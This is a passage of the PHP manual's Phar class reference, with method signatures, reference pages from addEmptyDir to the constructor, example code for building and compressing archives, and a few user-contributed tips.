final public static bool mapPhar ([ string $alias [, int $dataoffset = 0 ]] )
final public static void mount ( string $pharpath , string $externalpath )
final public static void mungServer ( array $munglist )
public bool offsetExists ( string $offset )
public int offsetGet ( string $offset )
public void offsetSet ( string $offset , string $value )
public bool offsetUnset ( string $offset )
final public static string running ([ bool $retphar = true ] )
public bool setAlias ( string $alias )
public bool setDefaultStub ([ string $index [, string $webindex ]] )
public void setMetadata ( mixed $metadata )
public void setSignatureAlgorithm ( int $sigtype [, string $privatekey ] )
public bool setStub ( string $stub [, int $len = -1 ] )
public void startBuffering ( void )
public void stopBuffering ( void )
public bool uncompressAllFiles ( void )
final public static bool unlinkArchive ( string $archive )
final public static void webPhar ([ string $alias [, string $index = "index.php" [, string $f404 [, array $mimetypes [, callable $rewrites ]]]]] )
}

Table of Contents

  • Phar::addEmptyDir — Add an empty directory to the phar archive
  • Phar::addFile — Add a file from the filesystem to the phar archive
  • Phar::addFromString — Add a file from a string to the phar archive
  • Phar::apiVersion — Returns the api version
  • Phar::buildFromDirectory — Construct a phar archive from the files within a directory.
  • Phar::buildFromIterator — Construct a phar archive from an iterator.
  • Phar::canCompress — Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::canWrite — Returns whether phar extension supports writing and creating phars
  • Phar::compress — Compresses the entire Phar archive using Gzip or Bzip2 compression
  • Phar::compressAllFilesBZIP2 — Compresses all files in the current Phar archive using Bzip2 compression
  • Phar::compressAllFilesGZ — Compresses all files in the current Phar archive using Gzip compression
  • Phar::compressFiles — Compresses all files in the current Phar archive
  • Phar::__construct — Construct a Phar archive object
  • Phar::convertToData — Convert a phar archive to a non-executable tar or zip file
  • Phar::convertToExecutable — Convert a phar archive to another executable phar archive file format
  • Phar::copy — Copy a file internal to the phar archive to another new file within the phar
  • Phar::count — Returns the number of entries (files) in the Phar archive
  • Phar::createDefaultStub — Create a phar-file format specific stub
  • Phar::decompress — Decompresses the entire Phar archive
  • Phar::decompressFiles — Decompresses all files in the current Phar archive
  • Phar::delMetadata — Deletes the global metadata of the phar
  • Phar::delete — Delete a file within a phar archive
  • Phar::extractTo — Extract the contents of a phar archive to a directory
  • Phar::getMetadata — Returns phar archive meta-data
  • Phar::getModified — Return whether phar was modified
  • Phar::getSignature — Return MD5/SHA1/SHA256/SHA512/OpenSSL signature of a Phar archive
  • Phar::getStub — Return the PHP loader or bootstrap stub of a Phar archive
  • Phar::getSupportedCompression — Return array of supported compression algorithms
  • Phar::getSupportedSignatures — Return array of supported signature types
  • Phar::getVersion — Return version info of Phar archive
  • Phar::hasMetadata — Returns whether phar has global meta-data
  • Phar::interceptFileFuncs — instructs phar to intercept fopen, file_get_contents, opendir, and all of the stat-related functions
  • Phar::isBuffering — Used to determine whether Phar write operations are being buffered, or are flushing directly to disk
  • Phar::isCompressed — Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::isFileFormat — Returns true if the phar archive is based on the tar/phar/zip file format depending on the parameter
  • Phar::isValidPharFilename — Returns whether the given filename is a valid phar filename
  • Phar::isWritable — Returns true if the phar archive can be modified
  • Phar::loadPhar — Loads any phar archive with an alias
  • Phar::mapPhar — Reads the currently executed file (a phar) and registers its manifest
  • Phar::mount — Mount an external path or file to a virtual location within the phar archive
  • Phar::mungServer — Defines a list of up to 4 $_SERVER variables that should be modified for execution
  • Phar::offsetExists — determines whether a file exists in the phar
  • Phar::offsetGet — Gets a PharFileInfo object for a specific file
  • Phar::offsetSet — set the contents of an internal file to those of an external file
  • Phar::offsetUnset — remove a file from a phar
  • Phar::running — Returns the full path on disk or full phar URL to the currently executing Phar archive
  • Phar::setAlias — Set the alias for the Phar archive
  • Phar::setDefaultStub — Used to set the PHP loader or bootstrap stub of a Phar archive to the default loader
  • Phar::setMetadata — Sets phar archive meta-data
  • Phar::setSignatureAlgorithm — set the signature algorithm for a phar and apply it.
  • Phar::setStub — Used to set the PHP loader or bootstrap stub of a Phar archive
  • Phar::startBuffering — Start buffering Phar write operations, do not modify the Phar object on disk
  • Phar::stopBuffering — Stop buffering write requests to the Phar archive, and save changes to disk
  • Phar::uncompressAllFiles — Uncompresses all files in the current Phar archive
  • Phar::unlinkArchive — Completely remove a phar archive from disk and from memory
  • Phar::webPhar — mapPhar for web-based phars. front controller for web applications

User Contributed Notes

cornelius dot howl at gmail dot com 19-Dec-2011 09:49
Onion utility can help you compile a package into a phar file (executable script file or library file)

https://github.com/c9s/Onion

   $ onion.phar compile \
    --executable \
    --classloader \
    --bootstrap scripts/onion.embed \
    --lib src \
    --lib ../CLIFramework/src \
    --lib ../GetOptionKit/src \
    --output onion.phar
halfdan 17-May-2008 10:18
Hey, I thought writing a small article about the upcoming functionality and appearance of Phar in php5.3 might be a nice thing. So I did this at http://geekmonkey.org/articles/PHP_Archives - hope to save others some time when working with Phar.


Add an empty directory to the phar archive

  • « Phar
  • Phar::addFile »
  • PHP Manual
  • Phar
  • Add an empty directory to the phar archive

Phar::addEmptyDir

(Unknown)

Phar::addEmptyDir — Add an empty directory to the phar archive

Description

public void Phar::addEmptyDir ( string $dirname )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

With this method, an empty directory is created with path dirname. This method is similar to ZipArchive::addEmptyDir().

Parameters

dirname

The name of the empty directory to create in the phar archive

Return Values

no return value, exception is thrown on failure.

Examples

Example #1 A Phar::addEmptyDir() example

<?php
try {
    $a = new Phar('/path/to/phar.phar');

    $a->addEmptyDir('/full/path/to/file');
    // demonstrates how this file is stored
    $b = $a['full/path/to/file']->isDir();
} catch (Exception $e) {
    // handle errors here
}
?>

See Also

  • PharData::addEmptyDir() - Add an empty directory to the tar/zip archive
  • Phar::addFile() - Add a file from the filesystem to the phar archive
  • Phar::addFromString() - Add a file from a string to the phar archive

User Contributed Notes

There are no user contributed notes for this page.


Add a file from the filesystem to the phar archive

  • « Phar::addEmptyDir
  • Phar::addFromString »
  • PHP Manual
  • Phar
  • Add a file from the filesystem to the phar archive

Phar::addFile

(Unknown)

Phar::addFile — Add a file from the filesystem to the phar archive

Description

public void Phar::addFile ( string $file [, string $localname ] )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

With this method, any file or URL can be added to the phar archive. If the optional second parameter localname is specified, the file will be stored in the archive with that name, otherwise the file parameter is used as the path to store within the archive. URLs must have a localname or an exception is thrown. This method is similar to ZipArchive::addFile().

Parameters

file

Full or relative path to a file on disk to be added to the phar archive.

localname

Path that the file will be stored in the archive.

Return Values

no return value, exception is thrown on failure.

Examples

Example #1 A Phar::addFile() example

<?php
try {
    $a = new Phar('/path/to/phar.phar');

    $a->addFile('/full/path/to/file');
    // demonstrates how this file is stored
    $b = $a['full/path/to/file']->getContent();

    $a->addFile('/full/path/to/file', 'my/file.txt');
    $c = $a['my/file.txt']->getContent();

    // demonstrate URL usage
    $a->addFile('http://www.example.com', 'example.html');
} catch (Exception $e) {
    // handle errors here
}
?>

See Also

  • Phar::offsetSet() - set the contents of an internal file to those of an external file
  • PharData::addFile() - Add a file from the filesystem to the tar/zip archive
  • Phar::addFromString() - Add a file from a string to the phar archive
  • Phar::addEmptyDir() - Add an empty directory to the phar archive

User Contributed Notes

There are no user contributed notes for this page.


Add a file from a string to the phar archive

  • « Phar::addFile
  • Phar::apiVersion »
  • PHP Manual
  • Phar
  • Add a file from a string to the phar archive

Phar::addFromString

(Unknown)

Phar::addFromString — Add a file from a string to the phar archive

Description

public void Phar::addFromString ( string $localname , string $contents )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

With this method, any string can be added to the phar archive. The file will be stored in the archive with localname as its path. This method is similar to ZipArchive::addFromString().

Parameters

localname

Path that the file will be stored in the archive.

contents

The file contents to store

Return Values

no return value, exception is thrown on failure.

Examples

Example #1 A Phar::addFromString() example

<?php
try {
    $a = new Phar('/path/to/phar.phar');

    $a->addFromString('path/to/file.txt', 'my simple file');
    $b = $a['path/to/file.txt']->getContent();

    // to add contents from a stream handle for large files, use offsetSet()
    $c = fopen('/path/to/hugefile.bin');
    $a['largefile.bin'] = $c;
    fclose($c);
} catch (Exception $e) {
    // handle errors here
}
?>

See Also

  • Phar::offsetSet() - set the contents of an internal file to those of an external file
  • PharData::addFromString() - Add a file from the filesystem to the tar/zip archive
  • Phar::addFile() - Add a file from the filesystem to the phar archive
  • Phar::addEmptyDir() - Add an empty directory to the phar archive

User Contributed Notes

There are no user contributed notes for this page.


Returns the api version

  • « Phar::addFromString
  • Phar::buildFromDirectory »
  • PHP Manual
  • Phar
  • Returns the api version

Phar::apiVersion

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::apiVersion — Returns the api version

Description

final public static string Phar::apiVersion ( void )

Return the API version of the phar file format that will be used when creating phars. The Phar extension supports reading API version 1.0.0 or newer. API version 1.1.0 is required for SHA-256 and SHA-512 hash, and API version 1.1.1 is required to store empty directories.

Parameters

Return Values

The API version string as in "1.0.0".

Examples

Example #1 A Phar::apiVersion() example

<?php
echo Phar::apiVersion();
?>

The above example will output:

1.1.1

User Contributed Notes

There are no user contributed notes for this page.


Construct a phar archive from the files within a directory.

  • « Phar::apiVersion
  • Phar::buildFromIterator »
  • PHP Manual
  • Phar
  • Construct a phar archive from the files within a directory.

Phar::buildFromDirectory

(PHP >= 5.3.0, PECL phar >= 2.0.0)

Phar::buildFromDirectory — Construct a phar archive from the files within a directory.

Description

public array Phar::buildFromDirectory ( string $base_dir [, string $regex ] )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

Populate a phar archive from directory contents. The optional second parameter is a regular expression (pcre) that is used to exclude files. Any filename that matches the regular expression will be included, all others will be excluded. For more fine-grained control, use Phar::buildFromIterator().

Parameters

base_dir

The full or relative path to the directory that contains all files to add to the archive.

regex

An optional pcre regular expression that is used to filter the list of files. Only file paths matching the regular expression will be included in the archive.

Return Values

Phar::buildFromDirectory() returns an associative array mapping internal path of file to the full path of the file on the filesystem.

Errors/Exceptions

This method throws BadMethodCallException when unable to instantiate the internal directory iterators, or a PharException if there were errors saving the phar archive.

Examples

Example #1 A Phar::buildFromDirectory() example

<?php
// create with alias "project.phar"
$phar = new Phar('project.phar', 0, 'project.phar');
// add all files in the project
$phar->buildFromDirectory(dirname(__FILE__) . '/project');
$phar->setStub($phar->createDefaultStub('cli/index.php', 'www/index.php'));

$phar2 = new Phar('project2.phar', 0, 'project2.phar');
// add all files in the project, only include php files
$phar2->buildFromDirectory(dirname(__FILE__) . '/project', '/\.php$/');
$phar2->setStub($phar->createDefaultStub('cli/index.php', 'www/index.php'));
?>

See Also

  • Phar::buildFromIterator() - Construct a phar archive from an iterator.

User Contributed Notes

There are no user contributed notes for this page.


Construct a phar archive from an iterator.

  • « Phar::buildFromDirectory
  • Phar::canCompress »
  • PHP Manual
  • Phar
  • Construct a phar archive from an iterator.

Phar::buildFromIterator

(PHP >= 5.3.0, PECL phar >= 2.0.0)

Phar::buildFromIterator — Construct a phar archive from an iterator.

Description

public array Phar::buildFromIterator ( Iterator $iter [, string $base_directory ] )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

Populate a phar archive from an iterator. Two styles of iterators are supported, iterators that map the filename within the phar to the name of a file on disk, and iterators like DirectoryIterator that return SplFileInfo objects. For iterators that return SplFileInfo objects, the second parameter is required.

Parameters

iter

Any iterator that either associatively maps phar file to location or returns SplFileInfo objects

base_directory

For iterators that return SplFileInfo objects, the portion of each file's full path to remove when adding to the phar archive

Return Values

Phar::buildFromIterator() returns an associative array mapping internal path of file to the full path of the file on the filesystem.

Examples

Example #1 A Phar::buildFromIterator() with SplFileInfo

For most phar archives, the archive will reflect an actual directory layout, and the second style is the most useful. For instance, to create a phar archive containing the files in this sample directory layout:

/path/to/project/
                 config/
                        dist.xml
                        debug.xml
                 lib/
                     file1.php
                     file2.php
                 src/
                     processthing.php
                 www/
                     index.php
                 cli/
                     index.php

This code could be used to add these files to the "project.phar" phar archive:

<?php
// create with alias "project.phar"
$phar = new Phar('project.phar', 0, 'project.phar');
$phar->buildFromIterator(
    new RecursiveIteratorIterator(
     new RecursiveDirectoryIterator('/path/to/project')),
    '/path/to/project');
$phar->setStub($phar->createDefaultStub('cli/index.php', 'www/index.php'));
?>

The file project.phar can then be used immediately. Phar::buildFromIterator() does not set values such as compression, metadata, and this can be done after creating the phar archive.

As an interesting note, Phar::buildFromIterator() can also be used to copy the contents of an existing phar archive, as the Phar object descends from DirectoryIterator:

<?php
// create with alias "project.phar"
$phar = new Phar('project.phar', 0, 'project.phar');
$phar->buildFromIterator(
    new RecursiveIteratorIterator(
     new Phar('/path/to/anotherphar.phar')),
    'phar:///path/to/anotherphar.phar/path/to/project');
$phar->setStub($phar->createDefaultStub('cli/index.php', 'www/index.php'));
?>

Example #2 A Phar::buildFromIterator() with other iterators

The second form of the iterator can be used with any iterator that returns a key => value mapping, such as an ArrayIterator:

<?php
// create with alias "project.phar"
$phar = new Phar('project.phar', 0, 'project.phar');
$phar->buildFromIterator(
    new ArrayIterator(
     array(
        'internal/file.php' => dirname(__FILE__) . '/somefile.php',
        'another/file.jpg' => fopen('/path/to/bigfile.jpg', 'rb'),
     )));
$phar->setStub($phar->createDefaultStub('cli/index.php', 'www/index.php'));
?>

Errors/Exceptions

This method returns UnexpectedValueException when the iterator returns incorrect values, such as an integer key instead of a string, a BadMethodCallException when an SplFileInfo-based iterator is passed without a base_directory parameter, or a PharException if there were errors saving the phar archive.

See Also

  • Phar::buildFromDirectory() - Construct a phar archive from the files within a directory.

User Contributed Notes

There are no user contributed notes for this page.


Returns whether phar extension supports compression using either zlib or bzip2

  • « Phar::buildFromIterator
  • Phar::canWrite »
  • PHP Manual
  • Phar
  • Returns whether phar extension supports compression using either zlib or bzip2

Phar::canCompress

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::canCompress — Returns whether phar extension supports compression using either zlib or bzip2

Description

final public static bool Phar::canCompress ([ int $type = 0 ] )

This should be used to test whether compression is possible prior to loading a phar archive containing compressed files.

Parameters

type

Either Phar::GZ or Phar::BZ2 can be used to test whether compression is possible with a specific compression algorithm (zlib or bzip2).

Return Values

TRUE if compression/decompression is available, FALSE if not.

Examples

Example #1 A Phar::canCompress() example

<?php
if (Phar::canCompress()) {
    echo file_get_contents('phar://compressedphar.phar/internal/file.txt');
} else {
    echo 'no compression available';
}
?>

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compressFiles() - Compresses all files in the current Phar archive
  • Phar::decompressFiles() - Decompresses all files in the current Phar archive
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • Phar::convertToExecutable() - Convert a phar archive to another executable phar archive file format
  • Phar::convertToData() - Convert a phar archive to a non-executable tar or zip file

User Contributed Notes

There are no user contributed notes for this page.


Returns whether phar extension supports writing and creating phars

  • « Phar::canCompress
  • Phar::compress »
  • PHP Manual
  • Phar
  • Returns whether phar extension supports writing and creating phars

Phar::canWrite

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::canWrite — Returns whether phar extension supports writing and creating phars

Description

final public static bool Phar::canWrite ( void )

This static method determines whether write access has been disabled in the system php.ini via the phar.readonly ini variable.

Parameters

Return Values

TRUE if write access is enabled, FALSE if it is disabled.

Examples

Example #1 A Phar::canWrite() example

<?php
if (Phar::canWrite()) {
    file_put_contents('phar://myphar.phar/file.txt', 'hi there');
}
?>

See Also

  • phar.readonly
  • Phar::isWritable() - Returns true if the phar archive can be modified

User Contributed Notes

There are no user contributed notes for this page.


Compresses the entire Phar archive using Gzip or Bzip2 compression

  • « Phar::canWrite
  • Phar::compressAllFilesBZIP2 »
  • PHP Manual
  • Phar
  • Compresses the entire Phar archive using Gzip or Bzip2 compression

Phar::compress

(PHP >= 5.3.0, PECL phar >= 2.0.0)

Phar::compress — Compresses the entire Phar archive using Gzip or Bzip2 compression

Description

public object Phar::compress ( int $compression [, string $extension ] )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

For tar-based and phar-based phar archives, this method compresses the entire archive using gzip compression or bzip2 compression. The resulting file can be processed with the gunzip command/bunzip command, or accessed directly and transparently with the Phar extension.

For Zip-based phar archives, this method fails with an exception. The zlib extension must be enabled to compress with gzip compression, the bzip2 extension must be enabled in order to compress with bzip2 compression. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed.

In addition, this method automatically renames the archive, appending .gz, .bz2 or removing the extension if passed Phar::NONE to remove compression. Alternatively, a file extension may be specified with the second parameter.

Parameters

compression

Compression must be one of Phar::GZ, Phar::BZ2 to add compression, or Phar::NONE to remove compression.

extension

By default, the extension is .phar.gz or .phar.bz2 for compressing phar archives, and .phar.tar.gz or .phar.tar.bz2 for compressing tar archives. For decompressing, the default file extensions are .phar and .phar.tar.

Return Values

Returns a Phar object.

Errors/Exceptions

Throws BadMethodCallException if the phar.readonly INI variable is on, the zlib extension is not available, or the bzip2 extension is not enabled.

Examples

Example #1 A Phar::compress() example

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
$p1 = $p->compress(Phar::GZ); // copies to /path/to/my.phar.gz
$p2 = $p->compress(Phar::BZ2); // copies to /path/to/my.phar.bz2
$p3 = $p2->compress(Phar::NONE); // exception: /path/to/my.phar already exists
?>

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • PharData::compress() - Compresses the entire tar/zip archive using Gzip or Bzip2 compression
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::decompress() - Decompresses the entire Phar archive
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • Phar::compressFiles() - Compresses all files in the current Phar archive
  • Phar::decompressFiles() - Decompresses all files in the current Phar archive

User Contributed Notes

mike at eyesis dot ca 21-Feb-2011 08:50
For those who want the benefit of having a small compressed PHAR archive but don’t want to suffer the performance loss, use php_strip_whitespace when adding files to the archive. If your code has plenty of whitespace, docbocks, and single-line comments this function can greatly decrease archive size without the performance loss.

<?php
$sDir = 'application';
$oPhar = new Phar ('app.phar');

$oDir = new RecursiveIteratorIterator (new RecursiveDirectoryIterator ($sDir), RecursiveIteratorIterator::SELF_FIRST);

foreach ($oDir as $sFile) {
    if ( preg_match ('/\\.php$/i', $sFile) ) {
        $oPhar->addFromString (substr ($sFile, strlen ($sDir) + 1), php_strip_whitespace ($sFile));
    }
}
?>


Compresses all files in the current Phar archive using Bzip2 compression

  • « Phar::compress
  • Phar::compressAllFilesGZ »
  • PHP Manual
  • Phar
  • Compresses all files in the current Phar archive using Bzip2 compression

Phar::compressAllFilesBZIP2

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::compressAllFilesBZIP2 — Compresses all files in the current Phar archive using Bzip2 compression

Description

public bool Phar::compressAllFilesBZIP2 ( void )

Note:

This
method has been removed from the phar extension as of version 2.0.0.  Alternative
implementations are available using Phar::compress(),
Phar::decompress(), Phar::compressFiles() and
Phar::decompressFiles().

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

This method compresses all files in the Phar archive using bzip2 compression. The bzip2 extension must be enabled to take advantage of this feature. In addition, if any files are already compressed using gzip compression, the zlib extension must be enabled in order to decompress the files prior to re-compressing with bzip2 compression. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws BadMethodCallException if the phar.readonly INI variable is on, the bzip2 extension is not available, or if any files are compressed using gzip compression and the zlib extension is not enabled.

Examples

Example #1 A Phar::compressAllFilesBZIP2() example

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
foreach ($p as $file) {
    var_dump($file->getFileName());
    var_dump($file->isCompressed());
    var_dump($file->isCompressedBZIP2());
    var_dump($file->isCompressedGZ());
}
$p->compressAllFilesBZIP2();
foreach ($p as $file) {
    var_dump($file->getFileName());
    var_dump($file->isCompressed());
    var_dump($file->isCompressedBZIP2());
    var_dump($file->isCompressedGZ());
}
?>

The above example will output:

string(10) "myfile.txt"
bool(false)
bool(false)
bool(false)
string(11) "myfile2.txt"
bool(false)
bool(false)
bool(false)
string(10) "myfile.txt"
bool(true)
bool(true)
bool(false)
string(11) "myfile2.txt"
bool(true)
bool(true)
bool(false)

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressedBZIP2() - Returns whether the entry is compressed using bzip2
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::isCompressedGZ() - Returns whether the entry is compressed using gz
  • PharFileInfo::setCompressedBZIP2() - Compresses the current Phar entry within the phar using Bzip2 compression
  • PharFileInfo::setUncompressed() - Uncompresses the current Phar entry within the phar, if it is compressed
  • PharFileInfo::setCompressedGZ() - Compresses the current Phar entry within the phar using gz compression
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compressAllFilesGZ() - Compresses all files in the current Phar archive using Gzip compression
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • Phar::uncompressAllFiles() - Uncompresses all files in the current Phar archive

User Contributed Notes

There are no user contributed notes for this page.


Compresses all files in the current Phar archive using Gzip compression

  • « Phar::compressAllFilesBZIP2
  • Phar::compressFiles »
  • PHP Manual
  • Phar
  • Compresses all files in the current Phar archive using Gzip compression

Phar::compressAllFilesGZ

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::compressAllFilesGZ — Compresses all files in the current Phar archive using Gzip compression

Description

public bool Phar::compressAllFilesGZ ( void )

Note:

This
method has been removed from the phar extension as of version 2.0.0.  Alternative
implementations are available using Phar::compress(),
Phar::decompress(), Phar::compressFiles() and
Phar::decompressFiles().

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

For tar-based phar archives, this method compresses the entire archive using gzip compression. The resulting file can be processed with the gunzip command, or accessed directly and transparently with the Phar extension.

For Zip-based and phar-based phar archives, this method compresses all files in the Phar archive using gzip compression. The zlib extension must be enabled to take advantage of this feature. In addition, if any files are already compressed using bzip2 compression, the bzip2 extension must be enabled in order to decompress the files prior to re-compressing with gzip compression. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws BadMethodCallException if the phar.readonly INI variable is on, the zlib extension is not available, or if any files are compressed using bzip2 compression and the bzip2 extension is not enabled.

Examples

Example #1 A Phar::compressAllFilesGZ() example

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
foreach ($p as $file) {
    var_dump($file->getFileName());
    var_dump($file->isCompressed());
    var_dump($file->isCompressedBZIP2());
    var_dump($file->isCompressedGZ());
}
$p->compressAllFilesGZ();
foreach ($p as $file) {
    var_dump($file->getFileName());
    var_dump($file->isCompressed());
    var_dump($file->isCompressedBZIP2());
    var_dump($file->isCompressedGZ());
}
?>

The above example will output:

string(10) "myfile.txt"
bool(false)
bool(false)
bool(false)
string(11) "myfile2.txt"
bool(false)
bool(false)
bool(false)
string(10) "myfile.txt"
bool(true)
bool(false)
bool(true)
string(11) "myfile2.txt"
bool(true)
bool(false)
bool(true)

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressedBZIP2() - Returns whether the entry is compressed using bzip2
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::isCompressedGZ() - Returns whether the entry is compressed using gz
  • PharFileInfo::setCompressedBZIP2() - Compresses the current Phar entry within the phar using Bzip2 compression
  • PharFileInfo::setUncompressed() - Uncompresses the current Phar entry within the phar, if it is compressed
  • PharFileInfo::setCompressedGZ() - Compresses the current Phar entry within the phar using gz compression
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compressAllFilesBZIP2() - Compresses all files in the current Phar archive using Bzip2 compression
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • Phar::uncompressAllFiles() - Uncompresses all files in the current Phar archive

User Contributed Notes

There are no user contributed notes for this page.


Compresses all files in the current Phar archive

  • « Phar::compressAllFilesGZ
  • Phar::__construct »
  • PHP Manual
  • Phar
  • Compresses all files in the current Phar archive

Phar::compressFiles

(PHP >= 5.3.0, PECL phar >= 2.0.0)

Phar::compressFiles — Compresses all files in the current Phar archive

Description

public void Phar::compressFiles ( int $compression )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

For tar-based phar archives, this method throws a BadMethodCallException, as compression of individual files within a tar archive is not supported by the file format. Use Phar::compress() to compress an entire tar-based phar archive.

For Zip-based and phar-based phar archives, this method compresses all files in the Phar archive using the specified compression. The zlib or bzip2 extensions must be enabled to take advantage of this feature. In addition, if any files are already compressed using bzip2/zlib compression, the respective extension must be enabled in order to decompress the files prior to re-compressing. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed.

Parameters

compression

Compression must be one of Phar::GZ, Phar::BZ2 to add compression, or Phar::NONE to remove compression.

Return Values

No value is returned.

Errors/Exceptions

Throws BadMethodCallException if the phar.readonly INI variable is on, the zlib extension is not available, or if any files are compressed using bzip2 compression and the bzip2 extension is not enabled.

Examples

Example #1 A Phar::compressFiles() example

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
foreach ($p as $file) {
    var_dump($file->getFileName());
    var_dump($file->isCompressed());
    var_dump($file->isCompressed(Phar::BZ2));
    var_dump($file->isCompressed(Phar::GZ));
}
$p->compressFiles(Phar::GZ);
foreach ($p as $file) {
    var_dump($file->getFileName());
    var_dump($file->isCompressed());
    var_dump($file->isCompressed(Phar::BZ2));
    var_dump($file->isCompressed(Phar::GZ));
}
?>

The above example will output:

string(10) "myfile.txt"
bool(false)
bool(false)
bool(false)
string(11) "myfile2.txt"
bool(false)
bool(false)
bool(false)
string(10) "myfile.txt"
int(4096)
bool(false)
bool(true)
string(11) "myfile2.txt"
int(4096)
bool(false)
bool(true)

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::decompressFiles() - Decompresses all files in the current Phar archive
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • Phar::compress() - Compresses the entire Phar archive using Gzip or Bzip2 compression
  • Phar::decompress() - Decompresses the entire Phar archive

User Contributed Notes

alex at phpguide dot co dot il 30-Apr-2011 10:55
Compressing the entire archive
$phar->compress();
overrides your stub file.

Use compressFiles to have the the files compressed keeping your own stub in tact (which is not being compressed).
The compression is a little bit worth (since one file is left uncompressed), but enables you to have your own stub file executed with browser requests.

Don't get confused, compressing doesn't rise the security level of your code or obfuscating it strongly enough. The source code of your compressed phar is still easy to read.


Construct a Phar archive object

  • « Phar::compressFiles
  • Phar::convertToData »
  • PHP Manual
  • Phar
  • Construct a Phar archive object

Phar::__construct

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::__construct — Construct a Phar archive object

Description

public Phar::__construct ( string $fname [, int $flags [, string $alias ]] )

Parameters

fname

Path to an existing Phar archive or to-be-created archive. The file name's extension must contain .phar.

flags

Flags to pass to parent class RecursiveDirectoryIterator.

alias

Alias with which this Phar archive should be referred to in calls to stream functionality.

Errors/Exceptions

Throws BadMethodCallException if called twice, UnexpectedValueException if the phar archive can't be opened.

Examples

Example #1 A Phar::__construct() example

<?php
try {
    $p = new Phar('/path/to/my.phar', FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::KEY_AS_FILENAME,
                  'my.phar');
} catch (UnexpectedValueException $e) {
    die('Could not open my.phar');
} catch (BadMethodCallException $e) {
    echo 'technically, this cannot happen';
}
// this works now
echo file_get_contents('phar://my.phar/example.txt');
// and works as if we had typed
echo file_get_contents('phar:///path/to/my.phar/example.txt');
?>

User Contributed Notes

